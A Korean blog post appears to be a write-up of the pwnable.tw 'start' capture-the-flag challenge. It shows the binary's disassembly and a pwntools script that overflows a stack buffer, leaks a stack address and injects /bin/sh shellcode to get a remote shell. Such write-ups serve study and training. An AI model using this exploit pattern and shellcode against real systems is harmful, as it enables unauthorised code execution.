
특이사항으로 스택에 실행 권한이 있다.

문제 코드는 다음과 같다.
__int64 start()
{
__int64 result; // rax
result = 0x3C00000003LL;
__asm
{
int 80h; LINUX - sys_write
int 80h; LINUX - sys_read
}
return result;
}
어셈으로 보면 다음과 같으며 syscall table을 참조하여 해석할 수 있다.

.text:08048060 ; __int64 start()
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
bof가 발생하며 스택 릭을 한 뒤 쉘코드를 넣어 실행해주면 쉘을 얻을 수 있다.
from pwn import *
context.log_level = 'debug'
context.arch = 'x86'
p = process('./start')
p = remote('chall.pwnable.tw', 10000)
p.sendafter(b'Let\'s start the CTF:',b'a'*0x14+p32(0x8048087))
stack_leak = u32(p.recvn(4))
print(hex(stack_leak))
p.recv()
pay = asm('''
push 0x68732f
push 0x6e69622f
lea ebx, [esp]
xor ecx, ecx
xor edx, edx
mov eax, 0x0b
int 0x80
''')
p.send(b'a'*0x14+p32(stack_leak+0x14)+pay)
p.interactive()

'write-up(pwn) > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] calc write-up (3) | 2024.09.17 |
---|---|
[pwnable.tw] orw write-up (0) | 2024.08.19 |